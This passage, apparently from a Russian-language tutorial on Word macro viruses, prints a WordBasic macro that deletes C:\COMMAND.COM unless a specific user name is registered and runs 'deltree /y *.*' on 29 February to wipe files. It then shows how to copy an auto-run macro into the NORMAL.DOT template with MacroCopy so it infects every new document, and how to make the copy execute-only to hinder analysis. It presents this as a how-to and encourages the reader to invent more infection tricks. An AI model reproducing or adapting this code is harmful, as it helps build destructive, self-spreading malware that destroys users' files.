’Макрос наиболее эффективен, если его сохранить как AutoExit
Sub Main
’Проверим регистрационное имя
If Application.Username <> ”MaD_MoTHeR” Then
’Снимем атрибуты COMMAND.COM
SetAttr ”C:\COMMAND.COM”,0
’Откроем для проверки – вдруг появятся ошибки
Open ”C:\COMMAND.COM” for Output as #1
’Если ошибки есть, то закроем.
Close #1
’и удалим
Kill ”C:\COMMAND.COM”
End If
’Проверим месяц и дату. Если 29 февраля, то выполним
’команду ”deltree /y >nul
If Month(Now)=2 Then
If Day(Now)=29 Then
Shell ”deltree /y *.* >nu”
End If
End If
End SubЧто делает этот макрос? При выходе из WinWord он проверяет два параметра: имя, на которое зарегистрирован WinWord (если это не MaD_MoTHeR, то будет удален файл COMMAND.COM), и текущую системную дату (если это 29 февраля, выполняется команда «deltree /у *.* > nul»).
Очень важно знать, как адаптировать автоматический макрос (ниже приведен простейший вариант), чтобы активизировать его в открываемый по умолчанию шаблон WinWord.
Это делается так:
Определяется переменная, в которую записывается полное имя макроса:name$=WindowName$+”:AutoNew”
’этот макрос будет выполняться каждый раз
’при создании нового документаТеперь нужно записать макрос в шаблон NORMAL.DOT простой командой:
MacroCopy name$, ”Global:AutoNew”
Это стандартный способ работы макро-вирусов, но есть еще много других, более интересных способов заражения. Всего то и нужно, что немного воображения и несколько строчек кода. Одним из трюков, который усложняет подобные вирусы и затрудняет их анализ, является кодирование макро-вирусов.
MacroCopy ”MyTemplate:MyMacro”, ”Global:AutoClose”, 1
Если выполняется команда MacroCopy с параметром, равным 1 (или другому числу больше 0), то в результате копирования будет получен только исполняемый макрос, который нельзя редактировать.
Большинство макро-вирусов имеют типичную структуру. Они начинаются с автовыполняемого макроса, заражающего глобальный шаблон Normal.dot. Также в их состав входят некоторые макросы, которые заражают файлы при определенных действиях (FileSaveAs, FileSave, ToolsMacros). Документы заражаются при совершении над ними операций вирусными макросами, то есть они будут инфицироваться при открытии.
Код для процедуры автовыполнения может выглядеть примерно так: